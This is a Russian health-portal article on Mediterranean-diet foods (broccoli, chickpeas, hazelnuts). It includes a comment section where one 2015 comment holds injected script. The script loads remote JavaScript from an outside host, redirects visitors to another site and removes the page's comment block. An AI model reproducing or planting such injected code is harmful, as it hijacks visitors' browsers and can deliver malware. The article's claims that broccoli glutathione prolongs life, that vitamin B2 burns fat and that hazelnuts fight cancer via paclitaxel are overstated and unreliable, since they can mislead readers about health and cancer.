Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Секреты средиземноморской...  >>  Секреты средиземноморской диеты: продолжаем расследование
 
Обратная связь
 

Секреты средиземноморской диеты: продолжаем расследование

Размер шрифта
02 марта 2012 10:00
  • google_analytics: false
  • Нравится

По данным ученых, люди в районе Средиземного моря живут дольше всех на земле. Секрет такого долголетия: в рационе. Оказывается, все эти продукты доступны и в холодной России. Что же это за продукты?

1 

Брокколи

  • Брокколи содержит глютатион
  • Глютатион выводит из организма свободные радикалы

Еще две тысячи лет назад о ценных свойствах брокколи знали римские полководцы и кормили ею своих солдат. Брокколи – источник соединения под названием глютатион. Главная роль глютатиона – защищать клетки от свободных радикалов. Глютатион в буквальном смысле слова продлевает жизнь. В организме вырабатывается собственный глютатион, но с возрастом его становится все меньше. А в брокколи есть уже готовое соединение в большом количестве.

1

Турецкий горох (нут)

  • Турецкий горох содержит витамин B2
  • Витамин B2 активизирует обмен веществ

Как ясно из названия, нут, он же – турецкий горох, широко распространен в Турции. Впрочем, его знают и любят по всему Средиземноморью. Нут является богатым источником витамина B2. Именно этот витамин группы B принимает участие во всех окислительно-восстановительных процессах в организме. Витамин B2 стабилизирует мембраны клеток и ускоряет обменные процессы, а значит, вы быстрее сжигаете лишнее и остаетесь в хорошей форме.

1

Фундук

  • Фундук содержит паклитаксел
  • Паклитаксел помогает бороться против рака

В фундуке обнаружено вещество, которое уже было известно как средство против рака. Паклитаксел блокирует размножение опухолевых клеток.

Итак, вот еще несколько принципов средиземноморской диеты:

  1. Продукты, богатые клетчаткой

(норматив – не менее 0,5 кг фруктов и овощей в день)

  1. Высокое содержание ненасыщенных жирных кислот

     (рыба, растительное масло, орехи)

  1. Обильное потребление воды (не менее 2 л воды в сутки)



Сюжеты по теме:
Продукты для долголетия. Секреты Средиземноморья

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 23:52

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.